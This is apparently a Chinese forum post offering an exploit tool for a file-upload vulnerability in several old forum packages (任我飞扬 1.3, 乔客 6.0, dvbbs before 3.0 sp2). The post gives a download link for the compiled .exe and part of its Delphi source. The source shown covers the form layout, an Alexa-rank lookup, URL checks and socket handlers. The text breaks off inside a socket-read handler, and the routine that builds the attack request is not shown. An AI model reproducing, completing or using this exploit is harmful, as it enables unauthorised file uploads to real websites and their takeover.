网站上传漏洞利用程序[1]

对任我飞扬1.3,乔客6.0,dvbbs 3.0 sp2之前所有版本有效，其它论坛也可以使用，具体原理不再分析，以前的很多文章都有介绍。

软件下载地址：

http://free.efile.com.cn/hnxyy/commupfile.exe


原代码：

unit untmain;

interface

uses
  windows, messages, sysutils, variants, classes, graphics, controls, forms,
  dialogs, stdctrls,idhttp, buttons, scktcomp;

type
  tform1 = class(tform)
    label1: tlabel;
    edthost: tedit;
    label2: tlabel;
    edtport: tedit;
    btnquery: tbutton;
    label3: tlabel;
    lblnum: tlabel;
    label5: tlabel;
    memo1: tmemo;
    label4: tlabel;
    edturl: tedit;
    label6: tlabel;
    edtpathfield: tedit;
    label7: tlabel;
    edtfilefield: tedit;
    label8: tlabel;
    edtuppath: tedit;
    label9: tlabel;
    edttype: tedit;
    label11: tlabel;
    label12: tlabel;
    memo2: tmemo;
    cls: tclientsocket;
    btnsubmit: tbutton;
    btnclose: tbutton;
    memo3: tmemo;
    label13: tlabel;
    rb1: tradiobutton;
    rb2: tradiobutton;
    rb3: tradiobutton;
    procedure btnqueryclick(sender: tobject);
    procedure btncloseclick(sender: tobject);
    procedure btnsubmitclick(sender: tobject);
    procedure clserror(sender: tobject; socket: tcustomwinsocket;
      errorevent: terrorevent; var errorcode: integer);
    procedure clsread(sender: tobject; socket: tcustomwinsocket);
    procedure clsconnect(sender: tobject; socket: tcustomwinsocket);
    procedure formshow(sender: tobject);
    procedure rb2click(sender: tobject);
    procedure rb3click(sender: tobject);
    procedure rb1click(sender: tobject);
  private
    { private declarations }
    bbspath,urlpath,upfname,host,ftype:string;
    procedure inivariant;
    procedure senddata;
    procedure setrdbcheck(rd:tradiobutton);
  public
    { public declarations }
  end;

var
  form1: tform1;

implementation

{$r *.dfm}

//查询网站全球排名
procedure tform1.btnqueryclick(sender: tobject);
var
  idhttp:tidhttp;
  resultstr:string;
  istart,iend,ipos:integer;
begin
  memo3.clear;
  idhttp :=tidhttp.create(nil);
  idhttp.port :=strtoint(trim(edtport.text));
  try
    resultstr :=idhttp.get('http://data.alexa.com/data?cli=10&dat=snba&url='+trim(edthost.text));
    memo3.text :=resultstr;
    if pos('<popularity',resultstr)>0 then
    begin
      ipos :=pos('<popularity',resultstr);
      resultstr :=copy(resultstr,ipos,length(resultstr)-ipos);
      istart :=pos('text=',resultstr);
      iend :=pos('/>',resultstr);
      resultstr :=copy(resultstr,istart+6,iend-istart-7);
      lblnum.caption :=resultstr;
    end else
    begin
      lblnum.caption :='not found';
    end;
  finally
    idhttp.free;
  end;
end;

procedure tform1.btncloseclick(sender: tobject);
begin
  close;
end;

procedure tform1.btnsubmitclick(sender: tobject);
begin
  if lowercase(copy(trim(edturl.text),1,7))<>'http://' then
  begin
    application.messagebox('输入地址有误，请检查是否以"http://"开头！','提示',mb_ok+mb_iconinformation);
    exit;
  end;
  memo3.clear;
  inivariant;
  senddata;
end;

procedure tform1.clserror(sender: tobject; socket: tcustomwinsocket;
  errorevent: terrorevent; var errorcode: integer);
begin
  errorcode:=0;
  cls.active :=false;
end;

procedure tform1.clsread(sender: tobject; socket: tcustomwinsocket);
var
  ss:string;
begin
  ss:=socket.receivetext;
  memo3.text :=ss;
  if pos('成功',ss)<>0 then
  begin